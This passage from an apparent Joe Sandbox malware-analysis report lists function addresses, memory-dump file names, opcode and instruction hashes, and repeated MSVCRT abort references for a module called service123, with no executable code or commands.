Instruction Fuzzy Hash: 53012D32E04640CF8700EE7DC99495AB7F1BB9E328F54DA69E848C7749EA34D404CB6A

Function 6C1EB4D0 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a00e1065a4da1e44829aee7ce468d481caf92769020c754c9f8a73a82a1d36b
Instruction ID: 8071dec6354bcaa1c5bb071babec2c6073c1376d823ad175320d4cc44d82e8e5
Opcode Fuzzy Hash: 4a00e1065a4da1e44829aee7ce468d481caf92769020c754c9f8a73a82a1d36b
Instruction Fuzzy Hash: 5811D6B2901200CFD304EF29C559716BBF1ABAA318F69C59DD80C8B351E77AC406CFA6

Function 6C1EC040 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f44857216a2e0571192ce8915793f97fdc9e9b609e33bd6bd3dcfab82065695
Instruction ID: 84e6bc202839e901ed7176e92aef75dde82b2ba5b95d82b046cbcd3fc8b2c882
Opcode Fuzzy Hash: 0f44857216a2e0571192ce8915793f97fdc9e9b609e33bd6bd3dcfab82065695
Instruction Fuzzy Hash: 82010C72A48640CF8700EE7EC88446ABBF1BB5F628F14DA69E84CC7745EA35D404CF66

Function 6C2184A0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2167946aa022e69be9e6745b63f7f1651e67a901eb3a66dadf0aa163dcf7654c
Instruction ID: 4452194b9af662c416ad823e7a9f6a8c4e523227981b15ef7c48a5d5f559e3b6
Opcode Fuzzy Hash: 2167946aa022e69be9e6745b63f7f1651e67a901eb3a66dadf0aa163dcf7654c
Instruction Fuzzy Hash: 48012C71A082808FC705DF3A848562BBBF1AB6B204F55D95AEC88C7355E635C415CB66

Function 6C19D504 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38065637cddd05bc63f8f55e83b5f6858d4a716cd9787bd456eb58d9b090392b
Instruction ID: f2998bd4d12657289776a502efe19b81f128cc3d01b55d67f41fbc8004a59c8c
Opcode Fuzzy Hash: 38065637cddd05bc63f8f55e83b5f6858d4a716cd9787bd456eb58d9b090392b
Instruction Fuzzy Hash: 0A015EB1A052059BE704EF29C48076AFBF4FF85248F50856DD848CB701D331D845CBD2

Function 6C244360 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 224f26597782a31352f319208501746b587e6d2c15bfb8a03be9ef8e78a5a829
Instruction ID: 513255011d126dd8726e10f06ad62b93d70b3503aa83153da768f4bc901f11a6
Opcode Fuzzy Hash: 224f26597782a31352f319208501746b587e6d2c15bfb8a03be9ef8e78a5a829
Instruction Fuzzy Hash: 1AF01736B041458F8714FF3DC946A2ABBF1AB5B618F98D9A9EC08C3701EA34D0148B77

Function 6C1CA1E0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a8419b80c044211f13cfb062171b3b3fb2fd92d60030632cf8f35847b804bf2
Instruction ID: bd5eeabab9a48fcd8d1d6582ecc14331e5cd393d6dde1c768f8e71977ebb0278
Opcode Fuzzy Hash: 6a8419b80c044211f13cfb062171b3b3fb2fd92d60030632cf8f35847b804bf2
Instruction Fuzzy Hash: B7D01771E040009F8B00EE39C544926BBB1BB9A208B54D988E81C97605E636E806CBAA

Function 6C19D974 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99528a8814be3e8ec686a86f925677d1370c2879c6c577cffe59eab6e90d6a45
Instruction ID: 6dd85035f503e4d5682b070adbd7715d440e06b073cd2b894f76cb55ead3be28
Opcode Fuzzy Hash: 99528a8814be3e8ec686a86f925677d1370c2879c6c577cffe59eab6e90d6a45
Instruction Fuzzy Hash: B3C012719041048BDF00FF34C0C0178F6F1AF46648F125458C084E7600E771C845C786

Function 6C19D674 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d714ddeb1d54d60c99730855744db3a24bee261a28e7de1cd23f2af7a586b1f
Instruction ID: ab442c21e94d0419ce08a18d60fc497fc2e1e931fa97d03313b9b17ab593c317
Opcode Fuzzy Hash: 8d714ddeb1d54d60c99730855744db3a24bee261a28e7de1cd23f2af7a586b1f
Instruction Fuzzy Hash: B6C012B28041044BDF40FF34C0C0178F3F1AB46248F125858C084E7700E730D846C746

Function 6C19D7F4 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6687b09114d2675d96a31c0c6d2971c8d0cefab2a3ab88b4dde04cb7df0e6767
Instruction ID: 3148c76a2cb39943a7eaa6e554ee678a3023d7c3202a33e7bb2c35e9feff66d1
Opcode Fuzzy Hash: 6687b09114d2675d96a31c0c6d2971c8d0cefab2a3ab88b4dde04cb7df0e6767
Instruction Fuzzy Hash: CCC01271C041084BDF00FF38C0C05B8F3F0AB46244F125458C084E7600E730C845C745

Function 6C18B1D0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4782c14483e89b401938c8b91bc0639d669efe6f4935ac7e28a15c2c01b6abe
Instruction ID: 78e95ce5f1c5c33a46d1085fa12dc1eff7ed665d4a37ecb36e7e7ab85db13418
Opcode Fuzzy Hash: e4782c14483e89b401938c8b91bc0639d669efe6f4935ac7e28a15c2c01b6abe
Instruction Fuzzy Hash: E8C012F0C056848BC200BF38D10A269BAB07B42208F8468ACD88417311E735C01C865B

Function 6C1728FA Relevance: 50.8, APIs: 28, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

abort.MSVCRT ref: 6C246CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Strings

L:%l, xrefs: 6C172929

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID: L:%l
API String ID: 4206212132-1252344468
Opcode ID: db660078033326e75227152ddb6570767a9cc994b127507423932dc5a47675ee
Instruction ID: 15673b2f4993c4f39b51c8ea72446016c1bd10ab5963673c4ef6db176e9d5e1c
Opcode Fuzzy Hash: db660078033326e75227152ddb6570767a9cc994b127507423932dc5a47675ee
Instruction Fuzzy Hash: F81192B2606205CBE708FF18E8D5B56B7B0FB2530AF019A48D585DBA11D739E818CBA0

Function 6C172A2F Relevance: 50.8, APIs: 28, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C246CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Strings

V:%l, xrefs: 6C172A5E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID: V:%l
API String ID: 4206212132-1626721719
Opcode ID: e7a4d7321f970b647f5b85f1970c8336f60c110811b7a44448774f7038bb683f
Instruction ID: aa9ec752a455ef0b5f47ff8077b64e2b39a50c4fae648132bdf62c491ef0427b
Opcode Fuzzy Hash: e7a4d7321f970b647f5b85f1970c8336f60c110811b7a44448774f7038bb683f
Instruction Fuzzy Hash: AD11A5B2646205CBE708FF18D4D5B55B7B0FB15309F019A48D585DBB11D739E818CFA0

Function 6C1729B1 Relevance: 50.8, APIs: 28, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C246CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Strings

`:%l, xrefs: 6C1729E0

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID: `:%l
API String ID: 4206212132-3617444139
Opcode ID: c1de2176fa69e697d5e03e4784c2738f0733487daf19d6ba26a9c1e9ef0a4373
Instruction ID: 596ebc0440c3c1c15f71c199f42d984dedeceb8f321e248f1304b82436be42b4
Opcode Fuzzy Hash: c1de2176fa69e697d5e03e4784c2738f0733487daf19d6ba26a9c1e9ef0a4373
Instruction Fuzzy Hash: 60F06DB1505205CBD708EF18D0E4B66B770FF02309F01D948C8459BB01D739E428CF90

Function 6C17BAD0 Relevance: 47.6, APIs: 26, Strings: 1, Instructions: 339COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Strings

@, xrefs: 6C17BAB1

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

